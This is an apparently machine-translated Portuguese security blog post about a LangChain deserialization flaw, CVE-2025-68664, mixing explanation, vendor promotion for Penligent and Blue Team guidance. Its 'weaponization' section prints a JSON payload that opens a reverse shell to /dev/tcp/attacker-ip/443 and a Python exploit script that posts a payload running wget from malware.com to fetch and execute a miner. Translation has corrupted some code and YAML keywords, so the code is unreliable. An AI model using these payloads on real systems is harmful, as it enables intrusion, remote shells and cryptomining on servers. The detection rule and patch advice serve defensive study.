Opção nuclear: Mergulho profundo na injeção de serialização LangChain CVE-2025-68664

Na guerra de segurança de IA de 2025, a divulgação de Vulnerabilidade de injeção de serialização do LangChain CVE-2025-68664 atingido com a força de uma carga de profundidade. Se o Prompt Injection trata de "enganar" o modelo na camada de aplicativos, o CVE-2025-68664 trata de "possuir" o servidor na camada de infraestrutura.

Como o padrão de orquestração de fato para a IA agêntica, a postura de segurança da LangChain é fundamental. O CVE-2025-68664 (CVSS 9.8, Crítico) expõe uma falha arquitetônica fundamental na forma como a estrutura lida com a restauração de estados complexos do agente: Falha de controle na instanciação de objetos JSON.

Este artigo abandona as reportagens superficiais. A partir de uma perspectiva de engenharia reversa, dissecaremos os núcleo da cadeia de linguagens código-fonte, desmontar toda a cadeia de chamadas, de JSON a RCE, e fornecer regras de automação de nível empresarial para o Blue Teams.

Anatomia da vulnerabilidade: Quando carregar Torna-se uma porta dos fundos

O poder da LangChain está em sua capacidade de composição. Para dar suporte à persistência de cadeias e agentes, a LangChain oferece dumpd e carregar permitindo que os objetos Python sejam serializados em JSON e desserializados de volta para a memória.

A raiz de CVE-2025-68664 reside no langchain-core/load/load.py módulo. Nas versões anteriores ao patch 2025, o carregador dependia de um mecanismo de mapeamento para decidir quais classes poderiam ser instanciadas. No entanto, esse mecanismo continha uma falha lógica: ao processar objetos serializados marcados como construtor o carregador falhou ao validar estritamente o caminho do módulo no tipo id campo. Isso permitiu que os invasores contornassem a lista de permissões e carregassem módulos globais arbitrários do Python.

Falha lógica no nível da fonte

Nas versões afetadas, a lógica de carregamento era mais ou menos assim (simplificada para maior clareza):

Python

`# Representação conceitual da lógica vulnerável def load(obj, secrets_map=None): if isinstance(obj, dict) and "lc" in obj: # Extrai a ID do objeto, por exemplo, ["langchain", "llms", "OpenAI"] lc_id = obj.get("id")

    # VULNERABILIDADE: embora a verificação exista, ela não bloqueia as bibliotecas padrão
    # A carga útil de um invasor ["subprocess", "check_output"] passa por
    se obj.get("type") == "constructor":
        return _load_constructor(lc_id, obj.get("kwargs"))`

Os atacantes exploram isso criando lc_id para induzir importlib para carregar módulos sensíveis do sistema (como os, subprocesso, sistema) e passar argumentos maliciosos para seus construtores.

Armação: Criando a carga útil perfeita de RCE

Para os pesquisadores da Red Team, entender a construção da carga útil é fundamental para a verificação. O CVE-2025-68664 não requer estouro binário complexo, apenas um trecho de JSON preciso.

Fase 1: o protótipo de exploração (PoC)

Um payload JSON padrão projetado para abrir uma calculadora ou um shell reverso tem a seguinte aparência:

JSON

{ "lc": 1, "type": "constructor", "id": ["subprocess", "check_output"], "kwargs": { "args": ["bash", "-c", "bash -i >& /dev/tcp/attacker-ip/443 0>&1"], "shell": false } }

Fase 2: Script de exploração Python

Em um cenário real, um invasor injetaria essa carga útil no ponto de extremidade "Import Config" de um aplicativo da Web ou no armazenamento de memória de um agente.

Python

`import requests import json

Alvo: Um serviço de agente de IA que aceita arquivos de configuração LangChain

url = "http://target-ai-service.com/api/v1/agent/import“

payload = { "lc": 1, "type": "constructor", "id": ["subprocess", "run"], "kwargs": { "args": ["wget http://malware.com/miner.sh -O /tmp/x; sh /tmp/x"], "shell": True, "capture_output": True } }

Envio de dados serializados maliciosos

O servidor aciona o RCE ao chamar langchain.load(json_data)

r = requests.post(url, json=payload, headers={"Content-Type": "application/json"}) print(f "Attack Status: {r.status_code}")`

Defesa orientada por IA: Tecnologia de auditoria profunda da Penligent

Os Web Scanners tradicionais (como o Nikto ou o OWASP ZAP) normalmente falham contra o CVE-2025-68664 porque não conseguem entender o impacto semântico de uma carga útil JSON no tempo de execução do Python. Eles veem um JSON válido; o servidor vê uma instrução de execução de comando.

É aqui que Penligent.ai demonstra sua superioridade técnica. A Penligent utiliza Auditoria de serialização com reconhecimento semântico:

1. Análise reversa da AST: Os agentes de IA da Penligent não fazem apenas fuzz cegamente. Primeiro, eles analisam a AST (árvore de sintaxe abstrata) do aplicativo de destino para identificar a versão específica do LangChain e a lógica de carregamento. Eles identificam os problemas inseguros carregar na base de código.
2. Verificação dinâmica de sandbox: Durante a detecção, a Penligent simula o processo de carregamento em um micro-VM isolado. Ele injeta objetos serializados contendo "Canary Tokens". Se o objeto acionar com êxito uma solicitação de rede fora de banda (OOB) (consulta DNS), o sistema confirma a vulnerabilidade com zero falsos positivos.

Para as equipes de segurança corporativa, a Penligent oferece um espectro completo de defesa, desde o "Code Commit" até o "Runtime Monitoring", garantindo que nenhuma configuração maliciosa do Agent entre em produção.

Manual do Blue Team: Detecção e remediação

Antes que os patches sejam totalmente implementados, as Blue Teams precisam de regras de detecção para identificar tentativas de ataque.

1. Regra de análise estática Semgrep

Adicione a seguinte regra ao seu pipeline de CI/CD para examinar sua base de código em busca de chamadas vulneráveis:

YAML

`regras:

• id: langchain-unsafe-load patterns:
  • padrão: langchain.load.load(...)
  • pattern-not: langchain.load.load(..., valid_namespaces=["langchain"]) message: "Detectada desserialização insegura de LangChain. O CVE-2025-68664 permite RCE. Restrinja valid_namespaces ou atualize imediatamente." languages: [python] severity: ERROR`

2. Remediação emergencial

Plano A (recomendado): Dependências de upgrade

A LangChain corrigiu essa lógica no langchain-core >= 0.3.15, introduzindo um mecanismo de lista de permissões padrão estrito.

Plano B (temporário): Fortalecimento do código

Se não for possível fazer o upgrade imediatamente, você deverá restringir manualmente o escopo de carregamento da função de carregamento:

Python

`from langchain_core.load import load

Permitir forçosamente o carregamento apenas do namespace langchain

Rejeita subprocessos, sistemas operacionais e outros módulos do sistema

safe_config = load( unsafe_json_data, valid_namespaces=["langchain", "langchain_community"] )`

Conclusão

Vulnerabilidade de injeção de serialização do LangChain CVE-2025-68664 prova mais uma vez que a segurança da infraestrutura de IA não pode ser construída com base na "confiança implícita". À medida que os aplicativos de LLM evoluem de "Chatbots" para "Agentes Autônomos", a superfície de ataque direcionada à serialização, ao armazenamento de estado e à invocação de ferramentas crescerá exponencialmente.

Os engenheiros de segurança devem reconhecer que, por trás de cada load() um Shell pode estar esperando.

Referências confiáveis

• Política de segurança da LangChain
• NVD do NIST - CVE-2025-68664 Detalhe
• Registro do Semgrep: Regras de segurança do Python
• Pesquisa PortSwigger: Ataques de desserialização